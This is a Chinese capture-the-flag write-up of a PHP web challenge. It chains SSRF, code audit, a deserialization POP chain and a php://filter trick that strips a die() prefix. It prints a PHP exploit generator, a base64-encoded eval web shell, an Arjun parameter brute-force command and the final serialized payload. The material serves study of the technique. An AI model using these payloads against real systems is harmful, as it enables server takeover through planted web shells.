前言:
。。。
考点:
代码审计
SSRF
die 死亡绕过
正文:
进入环境是一个ubuntu的信息,大概率没什么用
按照常规思路 扫一下目录:
扫到两个文件 robots.txt 和 index.php
先访问一下 robotstxt吧
f12看源码:
提示有个ser.php,并且提到 需要用不安全的协议
这里提一嘴,http相对https 是不安全的,因为http 是明文传输,数据未被加密,而https 是ssl +http 协议传输,相比http更加安全。
那么这个输入框就应该是ssrf 读取ser.php
下面会出现源码,代码审计环节:
<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
}
$flag='{Trump_:"fake_news!"}';
class GWHT{
public $hero;
public function __construct(){
$this->hero = new Yasuo;
}
public function __toString(){
if (isset($this->hero)){
return $this->hero->hasaki();
}else{
return "You don't look very happy";
}
}
}
class Yongen{ //flag.php
public $file;
public $text;
public function __construct($file='',$text='') {
$this -> file = $file;
$this -> text = $text;
}
public function hasaki(){
$d = '<?php die("nononon");?>';
$a= $d. $this->text;
@file_put_contents($this-> file,$a);
}
}
class Yasuo{
public function hasaki(){
return "I'm the best happy windy man";
}
}
?> your hat is too black!
先看出口,有个写入文件的操作:
public function hasaki(){
$d = '<?php die("nononon");?>';
$a= $d. $this->text;
@file_put_contents($this-> file,$a);
}
}
看看哪里能调用 hasaki() 函数, 找到:
public function __toString(){
if (isset($this->hero)){
return $this->hero->hasaki();
}else{
return "You don't look very happy";
}
这里调用了hasaki() ,但是得看看哪里能够触发 __toString. 同样是GWHT类:
class GWHT{
public $hero;
public function __construct(){
$this->hero = new Yasuo;
}
这里的 __construct()方法 有把类当作字符串赋值的操作,能够调用 __toString,但是他这里是new Yasuo ,他会调用Yasuo 类的hasaki函数,我们改成new Yongen就好了。 不得不说,这出题者也是个爱玩lol的玩家。
总结一下pop链:
__construct() ->hero->new Yongen => __toString() => hasaki() =>file_put_content()
挺简单的一个pop链构造,但是我们看到:
public function hasaki(){
$d = '<?php die("nononon");?>';
$a= $d. $this->text;
@file_put_contents($this-> file,$a);
}
他会把die 进入文件内容中,使的我们后面写入的恶意代码无法执行,该怎么绕过呢?
原理很简单,可以使用死亡杂糅,把这个<?php?> 标签给杂糅掉
利用php伪协议流,写入base64编码,进行string.strip_tags过滤掉<?php?> 再对文件内容进行解密,就得到了我们写入的 恶意代码,之前的<?php die()?>被杂糅掉了,不影响我们后续的代码。
exp:
<?php
class GWHT{
public $hero;
}
class Yongen{ //flag.php
public $file="php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";
public $text="PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==";
}
$a = new GWHT();
$a ->hero = new Yongen();
echo urlencode(serialize($a));
//<?php @eval($_POST[1]);?>
但是题中并没有 给我们提交payload 的入口,所以我们需要利用工具爆破一下url的参数,
这里利用到 Arjun,在ssti 用的也比较多。
arjun -u http://ec37ecf2-cb44-4930-b08c-4470f9f383b8.node4.buuoj.cn:81/star1.php?path=http//127.0.0.1/ser.php -c 100 -d 5
爆破出来参数名为 path 和c。
提交payload:
star1.php?path=http://127.0.0.1/ser.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:77:"php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";s:4:"text";s:36:"PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==";}}
总结:
老知识点了。